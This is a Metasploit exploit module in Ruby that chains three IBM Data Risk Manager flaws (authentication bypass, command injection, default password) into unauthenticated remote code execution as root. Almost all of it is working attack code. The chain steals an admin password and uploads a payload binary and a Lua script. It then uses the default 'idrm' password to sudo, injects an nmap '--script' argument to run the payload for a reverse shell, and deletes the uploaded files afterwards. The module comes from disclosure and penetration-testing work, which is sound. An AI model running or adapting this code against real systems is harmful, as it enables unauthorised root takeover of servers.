##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution',
        'Description' => %q{
          IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by
          an unauthenticated attacker to achieve remote code execution as root.
          The first is an unauthenticated bypass, followed by a command injection as the server user,
          and finally abuse of an insecure default password.
          This module exploits all three vulnerabilities, giving the attacker a root shell.
          At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.
          The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on
          versions <= 2.0.4 according to IBM.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2020-4427' ], # auth bypass
          [ 'CVE', '2020-4428' ], # command injection
          [ 'CVE', '2020-4429' ], # insecure default password
          [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],
          [ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/' ]
        ],
        'Platform' => 'linux',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [ 'IBM Data Risk Manager <= 2.0.4', {} ]
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'WfsDelay' => 15,
          'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2020-04-21',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8443),
        OptString.new('TARGETURI', [ true, 'Default server path', '/'])
      ]
    )
  end

  def check
    # at the moment there is no better way to detect AND be stealthy about it
    session_id = rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code == 302) &&
       res.headers['Location'].include?('localhost:8765') &&
       res.headers['Location'].include?('saml/idpSelection')
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Unknown
  end

  # post-exploitation:
  # - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out)
  def on_new_session(client)
    if client.type == 'meterpreter'
      # stdapi must be loaded before we can use fs.file
      client.core.use('stdapi') if !client.ext.aliases.include?('stdapi')
      client.fs.file.rm(@script_filepath)
      client.fs.file.rm(@payload_filepath)
    else
      client.shell_command_token("rm #{@script_filepath}")
      client.shell_command_token("rm #{@payload_filepath}")
    end
  end

  # version 2.0.1 runs as root, so we need to change the path to where we deploy the patches
  def get_patches_path(cookie, csrf)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'getAppInfo'),
      'method' => 'GET',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf }
    })

    if res && (res.code == 200) && res.body =~ /appVersion":"2\.0\.1"/
      print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1")
      return '/root/agile3/patches/'
    end
    print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above")
    '/home/a3user/agile3/patches/'
  end

  def create_session_id
    # step 1: create a session ID and try to make it stick
    session_id = rand_text_alpha(5..12)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),
      'method' => 'GET',
      'vars_get' => {
        'id' => session_id,
        'userName' => 'admin'
      }
    })
    if res && (res.code != 302)
      fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
    end

    print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")

    session_id
  end

  def free_the_admin(session_id)
    # step 2: give the session ID to the server and have it grant us a free admin password
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
    post_data.add_part(rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')
    post_data.add_part('admin', nil, nil, 'form-data; name="username"')
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
    post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
      'method' => 'POST',
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]
      fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.")
    end

    password = Regexp.last_match(1)
    print_good("#{peer} - We have obtained a new admin password #{password}")

    password
  end

  def login_and_csrf(password)
    # step 3: login and get an authenticated cookie
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'login'),
      'method' => 'POST',
      'vars_post' => {
        'userName' => 'admin',
        'password' => password
      }
    })
    unless res && (res.code == 302) && res.get_cookies
      fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.")
    end

    print_good("#{peer} - ... and are authenticated as an admin!")
    cookie = res.get_cookies
    url = res.redirection.to_s

    # step 4: obtain CSRF header in order to be able to make valid requests
    res = send_request_cgi({
      'uri' => url,
      'method' => 'GET',
      'cookie' => cookie
    })

    unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/
      fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.")
    end
    csrf = Regexp.last_match(1)

    return cookie, csrf
  end

  def upload_payload_and_script(cookie, csrf, patches_path)
    # step 5: upload our payload
    payload_file = "#{rand_text_alpha(5..12)}.enc"
    post_data = Rex::MIME::Message.new
    post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
      'method' => 'POST',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200)
      fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.")
    end

    print_good("#{peer} - We have uploaded our payload... ")

    # step 6: upload our script file
    # nmap will run as a3user (the server user), which has a default password of "idrm".
    # a3user has sudo access, so that means we run as root!
    # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo
    # to execute as root, we ensure our payload still executes as a3user.
    #
    # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.
    script_file = "#{rand_text_alpha(5..12)}.enc"
    @script_filepath = patches_path + script_file
    @payload_filepath = patches_path + payload_file
    rand_file = rand_text_alpha(5..12)
    cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};"
    cmd << " root=`cat /tmp/#{rand_file}`;"
    cmd << " if [ $root == 'root' ]; then sudo #{@payload_filepath};"
    cmd << " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}"
    script_file_contents = "os.execute(\"#{cmd}\")"

    post_data = Rex::MIME::Message.new
    post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),
      'method' => 'POST',
      'cookie' => cookie,
      'headers' => { 'CSRF-TOKEN' => csrf },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200)
      fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.")
    end

    print_good("#{peer} - and our nmap script file!")
  end

  def obtain_bearer_token(password)
    # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="deviceid"')
    post_data.add_part(password, nil, nil, 'form-data; name="password"')
    post_data.add_part('admin', nil, nil, 'form-data; name="username"')
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),
      'method' => 'POST',
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })

    unless res && (res.code == 200) && res.body =~ /"data":\{"access_token":"([0-9a-f-]{36})","token_type":"bearer"/
      fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.")
    end

    bearer = Regexp.last_match(1)
    print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...")

    bearer
  end

  def exploit
    # step 1: create a session ID and try to make it stick
    session_id = create_session_id

    # step 2: give the session ID to the server and have it grant us a free admin password
    password = free_the_admin(session_id)

    # step 3: login and get an authenticated cookie
    # step 4: obtain CSRF header in order to be able to make valid requests
    cookie, csrf = login_and_csrf(password)

    patches_path = get_patches_path(cookie, csrf)

    # step 5: upload our payload
    # step 6: upload our script file
    upload_payload_and_script(cookie, csrf, patches_path)

    # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
    bearer = obtain_bearer_token(password)

    # step 8 and final: invoke the nmap scan with our script file
    script = "--script=#{@script_filepath}"
    post_data = Rex::MIME::Message.new
    post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')
    post_data.add_part('1', nil, nil, 'form-data; name="type"')
    post_data.add_part('', nil, nil, 'form-data; name="portRange"')
    post_data.add_part(script, nil, nil, 'form-data; name="ipAddress"')

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s),
      'method' => 'POST',
      'headers' => { 'Authorization' => "Bearer #{bearer}" },
      'data' => post_data.to_s,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    })
    unless res && (res.code == 200)
      fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.")
    end

    print_good("#{peer} - Shell incoming!")
  end
end
